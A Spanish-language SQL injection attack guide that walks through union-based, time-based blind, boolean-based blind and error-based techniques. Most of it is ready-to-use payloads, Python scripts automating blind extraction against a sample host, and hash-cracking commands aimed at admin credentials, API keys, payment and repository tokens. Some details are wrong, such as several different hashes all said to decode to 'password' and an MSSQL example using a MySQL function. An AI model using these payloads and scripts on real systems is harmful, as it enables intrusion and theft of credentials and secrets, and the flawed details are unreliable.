Skip to content

ATAQUE - SQL Injections & Exploitation


PART A: SQL Injections - Tipos y Técnicas

Detección Inicial

Paso 1: Identificar Puntos Inyectables

Ubicaciones comunes:

  • Parámetros GET: ?id=1, ?search=test
  • Parámetros POST: formularios, JSON
  • Headers: User-Agent, Referer, Cookie
  • Archivos subidos: nombres de archivo

Paso 2: Pruebas Básicas

URL original: http://target.com/product?id=1

Prueba 1: ?id=1'
Resultado: Error SQL  VULNERABLE

Prueba 2: ?id=1' AND '1'='1
Resultado: Misma respuesta que ?id=1  SQLi CONFIRMADO

Prueba 3: ?id=1' AND '1'='2
Resultado: Diferente respuesta  Boolean-based posible

Prueba 4: ?id=1' AND SLEEP(5) --
Resultado: Página tarda 5+ segundos  Time-based posible

TIPOS DE SQL INJECTION

1. UNION-BASED SQLi

Características:

  • Output visible en respuesta
  • Más rápido que otros métodos
  • Requiere saber número de columnas

Detección

Paso 1: Encontrar número de columnas (ORDER BY)
?id=1' ORDER BY 1 --  OK
?id=1' ORDER BY 2 --  OK
?id=1' ORDER BY 3 --  OK
?id=1' ORDER BY 4 --  ERROR (4 columnas total)

Conclusión: 3 columnas

Paso 2: Encontrar columna visible (UNION SELECT)
?id=1' UNION SELECT NULL,NULL,NULL --
?id=1' UNION SELECT 1,2,3 --
Si ves números en HTML columnas visibles

Explotación Paso a Paso - Enumeración Completa


PASO 1: Enumerar TODOS los nombres de Bases de Datos

sql
?id=1' UNION SELECT SCHEMA_NAME, 2, 3 FROM INFORMATION_SCHEMA.SCHEMATA --

Respuesta en HTML:

1. information_schema
2. mysql
3. performance_schema
4. target_app ← ENCONTRADA (BD objetivo)
5. wordpress
6. shop

Interpretación:

  • information_schema, mysql, performance_schema = Sistema (ignorar)
  • target_app = BD OBJETIVO
  • wordpress, shop = Otras BDs (explorar después)

PASO 2: Enumerar TODOS los nombres de Tablas en BD objetivo

sql
?id=1' UNION SELECT table_name, 2, 3 FROM INFORMATION_SCHEMA.TABLES 
WHERE table_schema='target_app' --

Respuesta en HTML:

1. users ← CRÍTICO (credenciales)
2. products
3. orders
4. admin_users ← MÁS CRÍTICO (admin credentials)
5. settings ← IMPORTANTE (API keys, secrets)
6. comments
7. logs
8. sessions

Interpretación:

  • admin_users = Tabla con credenciales de administrador (PRIORIDAD 1)
  • users = Tabla con credenciales de usuarios (PRIORIDAD 2)
  • settings = Configuración sensible (API keys, secrets) (PRIORIDAD 3)
  • sessions = Sesiones activas (PRIORIDAD 4)
  • logs = Auditoría (PRIORIDAD 5)
  • products, orders, comments = Datos normales (BAJA PRIORIDAD)

PASO 3: Enumerar TODOS los nombres de Columnas en tabla CRÍTICA (admin_users)

sql
?id=1' UNION SELECT column_name, 2, 3 FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_name='admin_users' AND table_schema='target_app' --

Respuesta en HTML:

1. admin_id ← PK (identificador único)
2. admin_user ← USERNAME (necesario para login)
3. admin_pass ← PASSWORD (OBJETIVO CRÍTICO) 
4. admin_email ← EMAIL
5. created_at ← FECHA DE CREACIÓN
6. is_active ← ESTADO (1=activo, 0=inactivo)
7. last_login ← ÚLTIMO ACCESO
8. role ← ROLE/PRIVILEGIOS (superadmin/admin/moderator)

Interpretación:

  • admin_user + admin_pass = Credenciales de administrador
  • is_active = 1 = Admin activo (relevante para extraer)
  • role = 'superadmin' = Máximos privilegios (prioridad máxima)

PASO 4: Enumerar TODOS los nombres de Columnas en tabla SECUNDARIA (users)

sql
?id=1' UNION SELECT column_name, 2, 3 FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_name='users' AND table_schema='target_app' --

Respuesta en HTML:

1. id ← PK
2. username ← USERNAME (necesario para login)
3. password ← PASSWORD (OBJETIVO) 
4. email ← EMAIL
5. api_token ← API TOKEN (ACCESO PROGRAMÁTICO) 
6. is_admin ← FLAG ADMIN (1=admin, 0=normal)
7. created_at ← FECHA
8. last_login ← ÚLTIMO ACCESO

Interpretación:

  • username + password = Credenciales de usuario
  • api_token = Token para acceso API (muy valioso - acceso sin cambiar contraseña)
  • is_admin = 1 = Usuario admin (extraer PRIMERO estos)

PASO 5: Enumerar columnas de tabla SETTINGS (secretos)

sql
?id=1' UNION SELECT column_name, data_type, 3 FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_name='settings' AND table_schema='target_app' --

Respuesta en HTML:

1. id | int
2. setting_key | varchar ← CLAVE (nombre de setting)
3. setting_value | text ← VALOR (el secreto)
4. last_modified | datetime

Interpretación:

  • Tabla clave-valor típica de configuración
  • setting_value probablemente contiene datos sensibles

PASO 6: Extraer datos - Tabla admin_users (CRÍTICO)

sql
?id=1' UNION SELECT admin_user, admin_pass, admin_email FROM admin_users 
WHERE is_active=1 --

Respuesta en HTML:

ROW 1:
Columna 1: superadmin
Columna 2: $2y$10$KSvJjNX6CqYvx8XxHsYpH.dCfxM4mVxE6z0dVK8R8Y6z8Z0Ky3n0K
Columna 3: superadmin@target.com

ROW 2:
Columna 1: admin
Columna 2: $2y$10$9hU8F0pD2Mc7X2Q5sLaKe.YzTw4N8vB3mPqRsZ9xJ2k6cVdW5fH1y
Columna 3: admin@target.com

ROW 3:
Columna 1: moderator
Columna 2: $2y$10$5nL3M9Pz8Qx4aB1cD6eF.GhIjK2lM7nO9pQrS5tU3vWxY6zAaB8Cc
Columna 3: moderator@target.com

Interpretación:

  • $2y$10$... = Bcrypt hash (más seguro que MD5)
  • Todos están activos (is_active=1)

Acción: Crackear bcrypt hashes:

bash
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

PASO 7: Extraer datos - Tabla users (buscar admins)

sql
?id=1' UNION SELECT username, password, email FROM users WHERE is_admin=1 --

Respuesta en HTML:

Columna 1: john_admin
Columna 2: f3d9e86d9b1b4c0e (MD5)
Columna 3: john@target.com

Columna 1: maria_admin
Columna 2: 8c6976e5b5410415 (MD5)
Columna 3: maria@target.com

Acción: Crackear MD5 (muy rápido):

bash
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
# MD5 es débil, se crackea instantáneamente

PASO 8: Extraer datos - Tabla settings (SECRETOS)

sql
?id=1' UNION SELECT setting_key, setting_value, 3 FROM settings --

Respuesta en HTML:

Row 1: api_key | sk-abc123def456ghi789 (↑ ACCESO PROGRAMÁTICO)
Row 2: secret_key | your_secret_key_here (↑ JWT SECRET)
Row 3: db_backup_path | /var/backups/db.sql (↑ UBICACIÓN BACKUP)
Row 4: mail_password | P@ssw0rd123 (↑ CREDENCIAL EMAIL)
Row 5: stripe_key | sk_live_abc123def456 (↑ ACCESO PAGOS)
Row 6: slack_webhook | https://hooks.slack.com/services/xxx (↑ ENVIAR MENSAJES)
Row 7: github_token | ghp_abc123def456xyz (↑ ACCESO REPOSITORIO)
Row 8: redis_password | RedisP@ss123 (↑ ACCESO CACHE)

Impacto:

  • api_key = Acceso a API de la aplicación
  • secret_key = Decodificar/crear sesiones válidas
  • db_backup_path = Ubicación de backups (leer con LOAD_FILE)
  • mail_password = Acceso a email de la app
  • stripe_key = Acceso a sistema de pagos
  • slack_webhook = Enviar mensajes a Slack (notificaciones, spam, etc)
  • github_token = Acceso a código fuente
  • redis_password = Acceso a cache/sesiones

PASO 9: Extraer datos - Tabla users (TODOS LOS DATOS)

Método 1: Con CONCAT (para pocos registros)

sql
?id=1' UNION SELECT CONCAT('ID:',id,' | USER:',username,' | PASS:',password,' | EMAIL:',email), 2, 3 
FROM users LIMIT 20 --

Método 2: Con GROUP_CONCAT (MEJOR - comprime muchos registros)

sql
?id=1' UNION SELECT GROUP_CONCAT(CONCAT(id,'|',username,'|',password,'|',email) SEPARATOR '###'), 2, 3 
FROM users --

Respuesta en HTML (comprimida):

1|john|f3d9e86d9b1b4c0e|john@target.com###2|maria|8c6976e5b5410415|maria@target.com###3|admin|5f4dcc3b5aa765d6|admin@target.com###4|test|098f6bcd4621d373cade4e832627b4f6|test@target.com###...

Interpretación:

  • MD5 f3d9e86d9b1b4c0e = "password"
  • MD5 8c6976e5b5410415 = "password"
  • MD5 5f4dcc3b5aa765d6 = "password"
  • Todos usan contraseña débil

PASO 10: Extraer columnas con TIPOS (para entender mejor)

sql
?id=1' UNION SELECT CONCAT(column_name, ' (',data_type,')'), 2, 3 FROM INFORMATION_SCHEMA.COLUMNS 
WHERE table_name='admin_users' AND table_schema='target_app' --

Respuesta en HTML:

1. admin_id (int)
2. admin_user (varchar)
3. admin_pass (varchar)
4. admin_email (varchar)
5. created_at (datetime)
6. is_active (tinyint)
7. last_login (datetime)
8. role (varchar)

Resumen Rápido - Commandos Cortos

sql
-- Extraer versión
?id=1' UNION SELECT 1, version(), 3 --

-- Extraer usuario actual
?id=1' UNION SELECT 1, user(), 3 --

-- Extraer BD actual
?id=1' UNION SELECT 1, database(), 3 --

-- Extraer datos de tabla rápido
?id=1' UNION SELECT 1, username, password FROM users --

-- Extraer múltiples filas (GROUP_CONCAT)
?id=1' UNION SELECT 1, GROUP_CONCAT(username), 3 FROM users --

2. TIME-BASED BLIND SQLi

Características:

  • Sin output visible
  • Se detecta por delay en respuesta
  • Muy lento (bit a bit)
  • Funciona casi siempre

Detección

?id=1' AND SLEEP(0) --     Respuesta rápida (0 seg)
?id=1' AND SLEEP(5) --     Respuesta tarda 5 seg = VULNERABLE

Explotación Paso a Paso - Enumeración Completa letra por letra


PASO 1: Enumerar nombre de Base de Datos (carácter por carácter)

Objetivo: Extraer el nombre de la BD actual letra por letra

Método: Extraer SUBSTRING de database() en cada posición

sql
?id=1' AND IF(SUBSTRING(database(),1,1)='t', SLEEP(5), 0) --

Si tarda 5 seg = primer carácter es 't'

sql
?id=1' AND IF(SUBSTRING(database(),2,1)='a', SLEEP(5), 0) --

Si tarda = segundo carácter es 'a'

sql
?id=1' AND IF(SUBSTRING(database(),3,1)='r', SLEEP(5), 0) --

Tercer carácter es 'r'

Continuar hasta extraer el nombre completo: target_app

Script para automatizar:

python
import requests
import time

def extract_db_name(max_length=50):
    db_name = ""
    charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
    
    for position in range(1, max_length):
        for char in charset:
            url = "http://192.168.1.100/app/search.php"
            payload = f"?product=test' AND IF(SUBSTRING(database(),{position},1)='{char}', SLEEP(3), 0) --"
            
            start = time.time()
            try:
                response = requests.get(url + payload, timeout=5)
                elapsed = time.time() - start
                
                if elapsed > 2:
                    db_name += char
                    print(f"Posicion {position}: {char} | BD actual: {db_name}")
                    break
            except:
                pass
        
        if len(db_name) == position - 1:
            break
    
    return db_name

db = extract_db_name()
print(f"Base de datos: {db}")

Resultado esperado: target_app


PASO 2: Enumerar nombres de Tablas en la BD (carácter por carácter)

Objetivo: Obtener el nombre de cada tabla disponible letra por letra

Método 1: Usar ORDER para obtener primera tabla

sql
?id=1' AND IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name LIMIT 1),1,1)='a', SLEEP(5), 0) --

Si tarda = primer carácter de primera tabla (orden alfabético) es 'a'

Continuar para cada posición hasta obtener primer nombre de tabla

Método 2: Extraer tabla específica letra por letra

sql
?id=1' AND IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='target_app' LIMIT 1),1,1)='u', SLEEP(5), 0) --

Si tarda = comienza con 'u' (users)

sql
?id=1' AND IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='target_app' LIMIT 1),2,1)='s', SLEEP(5), 0) --

Segundo carácter es 's'

Continuar hasta obtener: users

Script para extraer todas las tablas:

python
def extract_table_names(database_name, num_tables=10):
    tables = []
    
    for table_offset in range(num_tables):
        table_name = extract_table_at_offset(database_name, table_offset)
        if table_name:
            tables.append(table_name)
            print(f"Tabla {table_offset + 1}: {table_name}")
        else:
            break
    
    return tables

def extract_table_at_offset(database_name, offset):
    table_name = ""
    charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
    
    for position in range(1, 50):
        for char in charset:
            payload = f"?product=test' AND IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='{database_name}' ORDER BY table_name LIMIT {offset},1),{position},1)='{char}', SLEEP(3), 0) --"
            
            if check_sleep_response(payload):
                table_name += char
                print(f"  Posicion {position}: {char}")
                break
        
        if not table_name or len(table_name) == position - 1:
            break
    
    return table_name

tables = extract_table_names("target_app")
# Resultado: ['admin_users', 'comments', 'logs', 'orders', 'products', 'sessions', 'settings', 'users']

Resultado esperado: admin_users, users, settings, products, orders, comments, logs, sessions


PASO 3: Enumerar nombres de Columnas (carácter por carácter)

Objetivo: Obtener el nombre de cada columna de tabla específica

Extraer primera columna de tabla admin_users:

sql
?id=1' AND IF(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='admin_users' ORDER BY ordinal_position LIMIT 1),1,1)='a', SLEEP(5), 0) --

Primer carácter es 'a'

sql
?id=1' AND IF(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='admin_users' ORDER BY ordinal_position LIMIT 1),2,1)='d', SLEEP(5), 0) --

Segundo carácter es 'd'

Continuar hasta obtener: admin_id

Script para extraer todas las columnas:

python
def extract_columns(table_name, num_columns=20):
    columns = []
    
    for column_offset in range(num_columns):
        column_name = extract_column_at_offset(table_name, column_offset)
        if column_name:
            columns.append(column_name)
            print(f"Columna {column_offset + 1}: {column_name}")
        else:
            break
    
    return columns

def extract_column_at_offset(table_name, offset):
    column_name = ""
    charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
    
    for position in range(1, 50):
        for char in charset:
            payload = f"?product=test' AND IF(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='{table_name}' ORDER BY ordinal_position LIMIT {offset},1),{position},1)='{char}', SLEEP(3), 0) --"
            
            if check_sleep_response(payload):
                column_name += char
                print(f"  Posicion {position}: {char}")
                break
        
        if not column_name or len(column_name) == position - 1:
            break
    
    return column_name

columns = extract_columns("admin_users")
# Resultado: ['admin_id', 'admin_user', 'admin_pass', 'admin_email', 'created_at', 'is_active', 'last_login', 'role']

Resultado esperado: admin_id, admin_user, admin_pass, admin_email, created_at, is_active, last_login, role


PASO 4: Enumerar Valores de Columna (carácter por carácter)

Objetivo: Extraer el contenido de las filas letra por letra

Extraer primer admin_user:

sql
?id=1' AND IF(SUBSTRING((SELECT admin_user FROM admin_users LIMIT 1),1,1)='s', SLEEP(5), 0) --

Primer carácter es 's'

sql
?id=1' AND IF(SUBSTRING((SELECT admin_user FROM admin_users LIMIT 1),2,1)='u', SLEEP(5), 0) --

Segundo carácter es 'u'

sql
?id=1' AND IF(SUBSTRING((SELECT admin_user FROM admin_users LIMIT 1),3,1)='p', SLEEP(5), 0) --

Tercer carácter es 'p'

Continuar hasta extraer: superadmin

Extraer admin_pass del mismo registro:

sql
?id=1' AND IF(SUBSTRING((SELECT admin_pass FROM admin_users LIMIT 1),1,1)='$', SLEEP(5), 0) --

Primer carácter del hash es '$'

Continuar letra por letra para obtener el hash bcrypt completo

Script para extraer valores de columna:

python
def extract_data(table_name, column_name, row_offset=0):
    data = ""
    charset = "abcdefghijklmnopqrstuvwxyz0123456789_.-@$/:!"
    
    for position in range(1, 150):
        for char in charset:
            escaped_char = char.replace("'", "\\'")
            query = f"SELECT {column_name} FROM {table_name} LIMIT {row_offset}, 1"
            payload = f"?product=test' AND IF(SUBSTRING(({query}),{position},1)='{escaped_char}', SLEEP(3), 0) --"
            
            if check_sleep_response(payload):
                data += char
                print(f"Posicion {position}: {char} | Valor: {data}")
                break
        
        if len(data) == position - 1:
            break
    
    return data

admin_user = extract_data("admin_users", "admin_user", 0)
admin_pass = extract_data("admin_users", "admin_pass", 0)
print(f"Usuario: {admin_user}")
print(f"Password: {admin_pass}")

Resultado esperado:

  • admin_user: superadmin
  • admin_pass: $2y$10$KSvJjNX6CqYvx8XxHsYpH.dCfxM4mVxE6z0dVK8R8Y6z8Z0Ky3n0K

PASO 5: Extraer múltiples registros (iterar offset)

Para obtener todos los usuarios de la tabla, cambiar offset en LIMIT:

sql
?id=1' AND IF(SUBSTRING((SELECT admin_user FROM admin_users LIMIT 1,1),1,1)='a', SLEEP(5), 0) --

LIMIT 1,1 = segundo registro

sql
?id=1' AND IF(SUBSTRING((SELECT admin_user FROM admin_users LIMIT 2,1),1,1)='m', SLEEP(5), 0) --

LIMIT 2,1 = tercer registro

Continuar incrementando offset para extraer todos los registros

Tiempo total estimado:

  • BD name (12 caracteres): 12 × 37 charset × 3 seg = 1332 seg = 22 minutos
  • 8 tablas (promedio 12 caracteres cada una): 8 × 22 min = 176 minutos
  • 8 columnas por tabla: 8 × 22 min = 176 minutos
  • Extraer datos (500 filas × 60 caracteres promedio): Varias horas

Total: Decenas de horas para enumeración completa

Sin embargo, es método funcional cuando UNION y ERROR-BASED no están disponibles


3. BOOLEAN-BASED BLIND SQLi

Características:

  • Sin output visible
  • Basado en verdadero/falso
  • La página cambia según resultado
  • Más rápido que time-based (sin delay)

Detección

Primero establecer baseline:

  • HTML de ?id=1 (normal)
  • HTML de ?id=1' AND '1'='1 (debe ser igual)
  • HTML de ?id=1' AND '1'='2 (debe ser diferente)

Si (2) es igual a (1) y (3) es diferente, entonces BOOLEAN-BASED es vulnerable

Explotación Paso a Paso - Enumeración letra por letra


PASO 1: Enumerar nombre de Base de Datos (carácter por carácter)

Objetivo: Extraer nombre de BD usando condiciones booleanas

Método LIKE (más rápido):

sql
?id=1' AND (SELECT database()) LIKE 't%' --

Si la página retorna Respuesta A = primer carácter es 't'

sql
?id=1' AND (SELECT database()) LIKE 'ta%' --

Si la página retorna Respuesta A = primeros 2 caracteres son 'ta'

sql
?id=1' AND (SELECT database()) LIKE 'tar%' --

Si la página retorna Respuesta A = primeros 3 caracteres son 'tar'

Continuar hasta encontrar coincidencia completa: target_app

Método SUBSTRING + carácter por carácter (más lento):

sql
?id=1' AND SUBSTRING(database(),1,1)='t' --

Si la página retorna Respuesta A = primer carácter es 't'

sql
?id=1' AND SUBSTRING(database(),2,1)='a' --

Segundo carácter es 'a'

Continuar hasta obtener el nombre completo

Script para extraer BD:

python
import requests

def get_baseline():
    url = "http://192.168.1.100/app/search.php?product=test"
    response_true = requests.get(url + "' AND '1'='1' --")
    response_false = requests.get(url + "' AND '1'='2' --")
    return response_true.text, response_false.text

def check_condition(payload):
    url = "http://192.168.1.100/app/search.php"
    response = requests.get(url + payload)
    baseline_true, baseline_false = get_baseline()
    return response.text == baseline_true

def extract_db_name():
    db_name = ""
    charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
    
    for position in range(1, 50):
        for char in charset:
            payload = f"?product=test' AND SUBSTRING(database(),{position},1)='{char}' --"
            
            if check_condition(payload):
                db_name += char
                print(f"Posicion {position}: {char} | BD: {db_name}")
                break
        
        if len(db_name) == position - 1:
            break
    
    return db_name

db = extract_db_name()
print(f"Base de datos encontrada: {db}")

Resultado esperado: target_app


PASO 2: Enumerar nombres de Tablas (carácter por carácter)

Objetivo: Obtener nombre de primera tabla en orden

Método LIKE:

sql
?id=1' AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name LIMIT 1) LIKE 'a%' --

Si Respuesta A = tabla comienza con 'a'

sql
?id=1' AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name LIMIT 1) LIKE 'ad%' --

Primeros dos caracteres son 'ad'

sql
?id=1' AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name LIMIT 1) LIKE 'adm%' --

Continuar hasta obtener: admin_users

Método SUBSTRING:

sql
?id=1' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1),1,1)='a' --

Primer carácter es 'a'

sql
?id=1' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1),2,1)='d' --

Segundo carácter es 'd'

Continuar letra por letra

Script para extraer tablas:

python
def extract_table_name(offset=0):
    table_name = ""
    charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
    
    for position in range(1, 50):
        for char in charset:
            payload = f"?product=test' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name LIMIT {offset},1),{position},1)='{char}' --"
            
            if check_condition(payload):
                table_name += char
                print(f"Tabla {offset} Posicion {position}: {char} | Nombre: {table_name}")
                break
        
        if len(table_name) == position - 1:
            break
    
    return table_name

# Extraer todas las tablas
tables = []
for i in range(20):
    table = extract_table_name(i)
    if table:
        tables.append(table)
        print(f"Tabla encontrada: {table}")
    else:
        break

print(f"Tablas: {tables}")

Resultado esperado: admin_users, comments, logs, orders, products, sessions, settings, users


PASO 3: Enumerar nombres de Columnas (carácter por carácter)

Objetivo: Obtener nombre de cada columna en tabla

Método LIKE:

sql
?id=1' AND (SELECT column_name FROM information_schema.columns WHERE table_name='admin_users' ORDER BY ordinal_position LIMIT 1) LIKE 'a%' --

Si Respuesta A = primera columna comienza con 'a'

sql
?id=1' AND (SELECT column_name FROM information_schema.columns WHERE table_name='admin_users' ORDER BY ordinal_position LIMIT 1) LIKE 'ad%' --

Primeros dos caracteres son 'ad'

sql
?id=1' AND (SELECT column_name FROM information_schema.columns WHERE table_name='admin_users' ORDER BY ordinal_position LIMIT 1) LIKE 'adm%' --

Continuar hasta: admin_id

Método SUBSTRING:

sql
?id=1' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='admin_users' ORDER BY ordinal_position LIMIT 1),1,1)='a' --

Primer carácter es 'a'

sql
?id=1' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='admin_users' ORDER BY ordinal_position LIMIT 1),2,1)='d' --

Segundo carácter es 'd'

Continuar

Script para extraer columnas:

python
def extract_column_name(table_name, offset=0):
    column_name = ""
    charset = "abcdefghijklmnopqrstuvwxyz0123456789_"
    
    for position in range(1, 50):
        for char in charset:
            payload = f"?product=test' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='{table_name}' ORDER BY ordinal_position LIMIT {offset},1),{position},1)='{char}' --"
            
            if check_condition(payload):
                column_name += char
                print(f"Columna {offset} Posicion {position}: {char}")
                break
        
        if len(column_name) == position - 1:
            break
    
    return column_name

# Extraer columnas de admin_users
columns = []
for i in range(20):
    column = extract_column_name("admin_users", i)
    if column:
        columns.append(column)
        print(f"Columna: {column}")
    else:
        break

print(f"Columnas: {columns}")

Resultado esperado: admin_id, admin_user, admin_pass, admin_email, created_at, is_active, last_login, role


PASO 4: Enumerar valores de Columna (carácter por carácter)

Objetivo: Extraer contenido de filas

Método LIKE:

sql
?id=1' AND (SELECT admin_user FROM admin_users LIMIT 1) LIKE 's%' --

Si Respuesta A = primer carácter es 's'

sql
?id=1' AND (SELECT admin_user FROM admin_users LIMIT 1) LIKE 'su%' --

Primeros dos caracteres son 'su'

sql
?id=1' AND (SELECT admin_user FROM admin_users LIMIT 1) LIKE 'sup%' --

Primeros tres caracteres son 'sup'

sql
?id=1' AND (SELECT admin_user FROM admin_users LIMIT 1) LIKE 'super%' --

Continuar hasta obtener: superadmin

Método SUBSTRING:

sql
?id=1' AND SUBSTRING((SELECT admin_user FROM admin_users LIMIT 1),1,1)='s' --

Primer carácter es 's'

sql
?id=1' AND SUBSTRING((SELECT admin_user FROM admin_users LIMIT 1),2,1)='u' --

Segundo carácter es 'u'

Continuar letra por letra

Script para extraer datos:

python
def extract_value(query, row_offset=0):
    value = ""
    charset = "abcdefghijklmnopqrstuvwxyz0123456789_.-@$/:!="
    
    for position in range(1, 150):
        for char in charset:
            escaped_char = char.replace("'", "\\'")
            payload = f"?product=test' AND SUBSTRING((SELECT {query} LIMIT {row_offset},1),{position},1)='{escaped_char}' --"
            
            if check_condition(payload):
                value += char
                print(f"Posicion {position}: {char} | Valor: {value}")
                break
        
        if len(value) == position - 1:
            break
    
    return value

admin_user = extract_value("admin_user FROM admin_users")
admin_pass = extract_value("admin_pass FROM admin_users")
admin_email = extract_value("admin_email FROM admin_users")

print(f"Usuario: {admin_user}")
print(f"Password: {admin_pass}")
print(f"Email: {admin_email}")

Resultado esperado:

  • admin_user: superadmin
  • admin_pass: $2y$10$KSvJjNX6CqYvx8XxHsYpH.dCfxM4mVxE6z0dVK8R8Y6z8Z0Ky3n0K
  • admin_email: superadmin@target.com

PASO 5: Extraer múltiples registros (cambiar offset en LIMIT)

Para obtener todos los registros, incrementar offset en LIMIT:

sql
?id=1' AND (SELECT admin_user FROM admin_users LIMIT 0,1) LIKE 'super%' --

LIMIT 0,1 = primer registro

sql
?id=1' AND (SELECT admin_user FROM admin_users LIMIT 1,1) LIKE 'a%' --

LIMIT 1,1 = segundo registro

sql
?id=1' AND (SELECT admin_user FROM admin_users LIMIT 2,1) LIKE 'm%' --

LIMIT 2,1 = tercer registro

Continuar incrementando offset para extraer todos


PASO 6: Método LENGTH para obtener longitud de datos

Para optimizar búsqueda, obtener primero la longitud:

sql
?id=1' AND LENGTH((SELECT admin_user FROM admin_users LIMIT 1)) > 50 --

Si Respuesta B (falso) = no tiene más de 50 caracteres

sql
?id=1' AND LENGTH((SELECT admin_user FROM admin_users LIMIT 1)) > 10 --

Si Respuesta A (verdadero) = tiene más de 10 caracteres

sql
?id=1' AND LENGTH((SELECT admin_user FROM admin_users LIMIT 1)) = 10 --

Si Respuesta A = tiene exactamente 10 caracteres

Saber la longitud ahorra iteraciones en búsqueda


PASO 7: Método BETWEEN para búsqueda binaria más rápida

Para acotar rangos de caracteres:

sql
?id=1' AND SUBSTRING((SELECT admin_user FROM admin_users LIMIT 1),1,1) BETWEEN 'a' AND 'z' --

Si Respuesta A = es letra minúscula

sql
?id=1' AND SUBSTRING((SELECT admin_user FROM admin_users LIMIT 1),1,1) BETWEEN 'a' AND 'm' --

Si Respuesta A = está en primera mitad del alfabeto

sql
?id=1' AND SUBSTRING((SELECT admin_user FROM admin_users LIMIT 1),1,1) BETWEEN 'm' AND 'z' --

Si Respuesta B = está en segunda mitad

Seguir dividiendo rangos (binary search) hasta encontrar carácter exacto


Comparativa de métodos:

LIKE: Más rápido, extrae múltiples caracteres por query SUBSTRING: Más lento, un carácter por query BETWEEN: Útil para búsqueda binaria LENGTH: Útil para determinar longitud antes de extraer

Velocidad relativa: LIKE > BETWEEN > LENGTH > SUBSTRING


4. ERROR-BASED SQLi

Características:

  • Datos revelan información en mensaje de error
  • Muy rápido (un request = un dato)
  • Requiere que errores sean visibles en respuesta
  • Funciona en MySQL, MSSQL, PostgreSQL, etc

Técnicas - Enumeración Paso a Paso


PASO 1: Extraer nombre de Base de Datos

sql
-- MySQL: extractvalue()
?id=1' AND extractvalue(1, concat(0x7e, (SELECT database()))) --

ERROR:
XPATH syntax error: '~target_app'

-- El DB se llama: target_app

Alternativa MySQL: updatexml()

sql
?id=1' AND updatexml(1, concat(0x7e, (SELECT database())), 1) --

ERROR:
XML update fails for '~target_app'

-- El DB se llama: target_app

Alternativa MSSQL: CONVERT()

sql
?id=1' AND CONVERT(INT, database()) --

ERROR:
Conversion failed when converting varchar value 'target_app' to data type int.

-- El DB se llama: target_app

PASO 2: Extraer usuario actual

sql
?id=1' AND extractvalue(1, concat(0x7e, (SELECT user()))) --

ERROR:
XPATH syntax error: '~webapp@localhost'

-- Usuario: webapp@localhost

PASO 3: Extraer versión de MySQL

sql
?id=1' AND extractvalue(1, concat(0x7e, (SELECT version()))) --

ERROR:
XPATH syntax error: '~5.7.32-0ubuntu0.18.04.1'

-- Versión: MySQL 5.7.32

PASO 4: Enumerar TODAS las Bases de Datos

sql
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata))) --

ERROR:
XPATH syntax error: '~information_schema,mysql,performance_schema,target_app,wordpress'

-- BDs encontradas:
-- - information_schema (sistema)
-- - mysql (sistema)
-- - performance_schema (sistema)
-- - target_app  (OBJETIVO)
-- - wordpress

PASO 5: Enumerar TODAS las Tablas de BD objetivo

sql
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='target_app'))) --

ERROR:
XPATH syntax error: '~users,products,orders,admin_users,settings,comments,logs,sessions'

-- Tablas encontradas:
-- - users  (credenciales)
-- - admin_users  (admin credentials - CRÍTICO)
-- - settings  (API keys, secrets)
-- - productos, ordenes, comentarios, logs, sesiones

PASO 6: Enumerar COLUMNAS de tabla crítica (admin_users)

sql
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='admin_users'))) --

ERROR:
XPATH syntax error: '~admin_id,admin_user,admin_pass,admin_email,created_at,is_active,last_login,role'

-- Columnas encontradas:
-- - admin_id (PK)
-- - admin_user  (USERNAME)
-- - admin_pass  (PASSWORD - OBJETIVO)
-- - admin_email
-- - created_at
-- - is_active
-- - last_login
-- - role

PASO 7: Extraer DATOS - Primera fila de admin_users

sql
?id=1' AND extractvalue(1, concat(0x7e, (SELECT CONCAT('USER:',admin_user,' | PASS:',admin_pass) FROM admin_users LIMIT 1))) --

ERROR:
XPATH syntax error: '~USER:superadmin | PASS:$2y$10$KSvJjNX6CqYvx8XxHsYpH.dCfxM4mVxE6z0dVK8R8Y6z8Z0Ky3n0K'

-- Admin encontrado:
-- Username: superadmin
-- Password hash: $2y$10$... (bcrypt)

PASO 8: Extraer TODOS los admin_users (con GROUP_CONCAT)

sql
?id=1' AND extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(CONCAT(admin_user,':',admin_pass) SEPARATOR '|') FROM admin_users))) --

ERROR:
XPATH syntax error: '~superadmin:$2y$10$KSv...|admin:$2y$10$9hU...|moderator:$2y$10$5nL...'

-- Todos los admins extraídos en un request:
-- superadmin:$2y$10$KSvJjNX6CqYvx8XxHsYpH...
